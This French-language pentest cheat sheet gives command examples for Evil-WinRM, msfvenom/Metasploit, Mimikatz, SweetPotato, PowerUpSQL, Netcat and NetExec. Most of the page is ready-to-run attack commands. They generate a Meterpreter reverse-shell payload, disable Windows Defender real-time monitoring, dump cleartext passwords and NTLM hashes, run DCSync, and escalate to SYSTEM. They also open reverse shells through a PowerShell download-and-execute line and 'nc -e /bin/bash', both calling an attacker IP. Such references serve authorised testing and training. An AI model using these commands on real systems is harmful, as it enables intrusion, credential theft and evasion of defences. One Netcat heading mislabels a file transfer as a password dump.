Pentest Directory

Evil-WinRM

Evil-WinRM est un shell interactif PowerShell qui permet de prendre le contrôle d'une machine Windows via WinRM. C’est l’un des outils les plus utilisés pour l'accès distant sur les systèmes Windows lors des tests d’intrusion.

🎯 Exemple 1 : Connexion simple avec mot de passe

evil-winrm -i 192.168.09.100 -u administrator -p 'Password123!'

➡️ Connexion au shell PowerShell distant avec mot de passe clair.

🎯 Exemple 2 : Connexion avec un certificat

evil-winrm -i 192.168.09.100 -u administrator -k cert.pem -s key.pem

➡️ Utilisation d’un certificat et clé privée pour s’authentifier sans mot de passe.

🎯 Exemple 3 : Upload d’un fichier vers la machine cible

upload shell.exe

➡️ Transfère un fichier local vers la machine distante dans le dossier courant.

🔗 Evil-WinRM sur GitHub

Metasploit - Session Meterpreter via Evil-WinRM

Cet exemple montre comment établir une session Meterpreter depuis un shell Evil-WinRM, en générant un payload avec msfvenom et en l’exécutant sur la machine cible.

🎯 Étape 1 : Génération du payload (machine attaquante)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.23.11 LPORT=443 -f exe -o shell.exe

🎯 Étape 2 : Configuration du handler Metasploit

sudo msfconsole
            use exploit/multi/handler
            set payload windows/x64/meterpreter/reverse_tcp
            set LHOST tun0
            set LPORT 443
            run

🎯 Étape 3 : Exécution sur la machine cible (via Evil-WinRM)

Set-MpPreference -DisableRealtimeMonitoring $true
            upload shell.exe
            .\shell.exe

✅ Si tout est correctement configuré, tu verras une session Meterpreter s’ouvrir dans ta console Metasploit côté attaquant.

Mimikatz

Mimikatz est un outil puissant pour extraire des informations d'identification, comme les mots de passe en clair, les hashes NTLM, et les tickets Kerberos. Il est souvent utilisé pour des attaques post-exploitation.

🎯 Exemple 1 : Extraction des mots de passe en clair

privilege::debug
sekurlsa::logonpasswords

➡️ Cette commande affiche les mots de passe en clair des sessions utilisateur actives.

🎯 Exemple 2 : Extraction des hashes NTLM

lsadump::sam /sam:system /system:system.hive /security:security.hive

➡️ Cette commande extrait les hashes NTLM des comptes locaux à partir des fichiers SAM et SYSTEM.

🎯 Exemple 3 : Attaque DCSync

lsadump::dcsync /user:Administrator

➡️ Cette commande récupère les hashes NTLM et les mots de passe Kerberos pour un utilisateur spécifique.

SweetPotato

SweetPotato exploite le privilège SeImpersonatePrivilege pour obtenir une élévation de privilèges sur les systèmes Windows.

🎯 Exemple 1 : Exécution d'une commande en tant qu'administrateur

SweetPotato.exe -c "cmd.exe /c whoami"

➡️ Cette commande exécute "whoami" avec des privilèges élevés, affichant "NT AUTHORITY\SYSTEM".

🎯 Exemple 2 : Lancer un reverse shell

SweetPotato.exe -c "powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.23.11/shell.ps1')\""

➡️ Cette commande télécharge et exécute un script PowerShell pour établir un reverse shell.

PowerUpSQL

PowerUpSQL est un outil d'audit SQL Server qui permet d'identifier les failles de sécurité et d'exploiter les privilèges SQL.

🎯 Exemple 1 : Enumération des bases de données

Get-SQLInstanceDomain | Get-SQLDatabase

➡️ Cette commande liste toutes les bases de données accessibles sur les instances SQL Server du domaine.

🎯 Exemple 2 : Exécution de commandes via xp_cmdshell

Invoke-SQLOSCmd -Instance "SQLSERVER01" -Command "whoami"

➡️ Cette commande exécute "whoami" sur le serveur SQL et retourne l'utilisateur exécutant le processus.

🎯 Exemple 3 : Dump des mots de passe

Get-SQLColumnSampleData -Instance "SQLSERVER01" -Database "master" -Table "users" -Column "password"

➡️ Cette commande extrait des échantillons de données de la colonne "password" dans la table "users".

Netcat

Netcat est un outil polyvalent pour établir des connexions réseau, souvent utilisé pour les reverse shells et les transferts de fichiers.

🎯 Exemple 1 : Écoute sur un port

nc -lvnp 4444

➡️ Cette commande met Netcat en mode écoute sur le port 4444, prêt à recevoir une connexion.

🎯 Exemple 2 : Envoi d'un reverse shell

nc 192.168.23.11 4444 -e /bin/bash

➡️ Cette commande envoie un shell bash à l'adresse IP et au port spécifiés.

🎯 Exemple 3 : Dump des mots de passe

# Machine recevant le fichier
nc -l -p 1234 > received_file.txt

# Machine envoyant le fichier
nc 192.168.23.11 1234 < file_to_send.txt

➡️ Ces commandes transfèrent "file_to_send.txt" d'une machine à une autre.

NetExec

NetExec (anciennement CrackMapExec) est un outil redoutable pour automatiser l'audit de sécurité des environnements Active Directory. Il permet d’effectuer des actions comme la validation de mots de passe, l’exécution de commandes à distance, l’énumération des partages SMB ou encore la récupération de données sensibles.

🎯 Exemple 1 : Authentification sur un domaine SMB

netexec smb 192.168.0.10/24 -u admin -p 'Password123!'

➡️ Teste les identifiants sur toutes les machines du sous-réseau via le protocole SMB.

🎯 Exemple 2 : Enumération des partages SMB

netexec smb 192.168.0.10 -u user -p 'pass' --shares

➡️ Affiche tous les partages accessibles pour l’utilisateur fourni.

🎯 Exemple 3 : Dump des secrets via SAM

netexec smb 192.168.0.10 -u admin -p 'Password123!' --sam

➡️ Tente d’extraire les secrets SAM locaux si les droits le permettent.

🎯 Exemple 4 : Exécution de commande à distance

netexec smb 192.168.0.10 -u admin -p 'Password123!' -x 'whoami'

➡️ Exécute la commande spécifiée sur la cible distante en utilisant les services Windows valides.

🔗 NetExec sur GitHub